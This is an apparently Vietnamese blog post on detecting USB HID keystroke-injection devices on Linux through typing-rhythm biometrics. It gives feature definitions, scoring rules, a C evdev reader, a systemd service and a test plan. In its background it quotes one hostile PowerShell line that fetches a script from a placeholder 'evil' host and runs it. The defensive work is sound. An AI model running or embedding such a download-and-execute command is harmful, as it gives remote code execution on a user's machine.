Phát hiện tấn công USB HID injection dựa trên sinh trắc học gõ phím – thiết kế nhẹ cho Linux

1. Bối cảnh: khi "bàn phím giả" lẻn vào hệ thống

Một thiết bị USB bé xíu, trông như USB thường hoặc sạc dự phòng, có thể chứa vi điều khiển (Arduino Pro Micro, Teensy…) tự nhận là bàn phím. Khi cắm vào máy tính, nó lập tức gửi chuỗi phím đã cài sẵn – ví dụ powershell -w hidden -c "iwr http://evil/p.ps1 | iex" – mà không cần quyền admin. Phần mềm chống virus bó tay vì hành vi này được hệ điều hành xem như "người dùng đang gõ".

Ý tưởng phòng thủ: thay vì kiểm tra "gõ gì", ta phân tích "gõ như thế nào". Mỗi người có nhịp gõ riêng (thời gian giữ phím, khoảng cách giữa hai lần nhấn, độ trễ khi nhấn tổ hợp…). Thiết bị tự động khó mô phỏng chính xác sinh trắc học này. Hệ thống nhẹ theo dõi luồng HID thô, rút trích đặc trưng thống kê, so sánh với mẫu người dùng và tự động cảnh báo hoặc chặn.

2. Kiến trúc ba lớp

  1. Lớp thu thập: đọc /dev/input/event* ở chế độ non-blocking, giữ nguyên bản gốc micro-giây.
  2. Lớp trích đặc trưng: tính toán trên cửa sổ 20 phím gần nhất:
    • ft_std – độ lệch chuẩn của khoảng trống giữa các phím (flight-time).
    • ht_mean, ht_std – thời gian giữ phím.
    • cpm_peak – tốc độ đỉnh (characters per minute).
    • bs_ratio – tỷ lệ phím Backspace.
  3. Lớp ra quyết định: cộng điểm rủi ro theo luật đơn giản:
    LuậtĐiều kiệnĐiểm
    R1ft_std < 10 ms liên tiếp 10 lần+30
    R2cpm_peak > 500+20
    R350 ký tự liên tiếp không Backspace+15
    Tổng điểm ≥ 60 → khóa tạm thời và hiện thông báo cho người dùng xác nhận.

3. Mã nguồn tham khảo (C – phần thu thập)

#include <linux/input.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/time.h>
#include <stdio.h>

static inline uint64_t now_us() {
    struct timeval tv;
    gettimeofday(&tv, NULL);
    return tv.tv_sec * 1000000ULL + tv.tv_usec;
}

int main() {
    int fd = open("/dev/input/by-id/usb-Logitech_USB_Keyboard-event-kbd", O_RDONLY | O_NONBLOCK);
    if (fd < 0) { perror("open"); return 1; }

    struct input_event ev;
    while (1) {
        ssize_t r = read(fd, &ev, sizeof ev);
        if (r == sizeof ev && ev.type == EV_KEY) {
            uint64_t ts = now_us();
            /* gửi ev.code, ev.value, ts tới luồng xử lý */
        }
        usleep(800); /* giảm CPU wake-up */
    }
}

4. Hiệu chỉnh ngưỡng động

Sau khi cài đặt, chạy chế độ learning 5 phút để thu thập mẫu. Hệ thống lưu ft_std_userht_mean_user, sau đó đặt:

ngưỡng_nghi_ngờ = 0.25 * ft_std_user

Điều này giảm báo động giả khi người dùng gõ nhanh hoặc chơi game.

5. Ứng phó nâng cao

  • Chống delay ngẫu nhiên: tính entropy của chuỗi thời gian; máy tạo delay ngẫu nhiên thường có entropy cao bất thường.
  • Liên kết cửa sổ đang focus: dùng xprop -root _NET_ACTIVE_WINDOW để biết ứng dụng hiện hành; chuỗi lệnh shell trong LibreOffice chắc chắn khả nghi.
  • Bảo vệ chính mình: chạy dưới user nobody, watchdog restart mỗi 30 giây, log vào syslog.

6. Triển khai nhanh

# biên dịch
sudo apt install libev-dev build-essential
gcc -O2 keyguard.c -o keyguard -lev

# chạy thử
sudo ./keyguard

# tạo service
sudo cp keyguard /usr/local/bin/
sudo tee /etc/systemd/system/keyguard.service <<'EOF'
[Unit]
Description=USB HID injection guard
After=graphical.target

[Service]
Type=simple
ExecStart=/usr/local/bin/keyguard
Restart=always
User=nobody

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable --now keyguard

7. Kiểm thử thực tế

  1. Dùng Arduino Pro Micro nạp sketch gửi id + Enter với delay 50 ms mỗi ký tự.
  2. Chưa bật keyguard: lệnh chạy thành công.
  3. Bật keyguard: cảnh báo đỏ xuất hiện, lệnh bị treo 5 giây, sau đó bị hủy nếu không có phản hồi.

Hệ thống chiếm <1 % CPU và ~2 MB RAM khi nhàn rỗi.

Thẻ: USB HID keystroke dynamics input event Linux evdev behavioral biometrics

Đăng vào ngày 29 tháng 8 lúc 05:38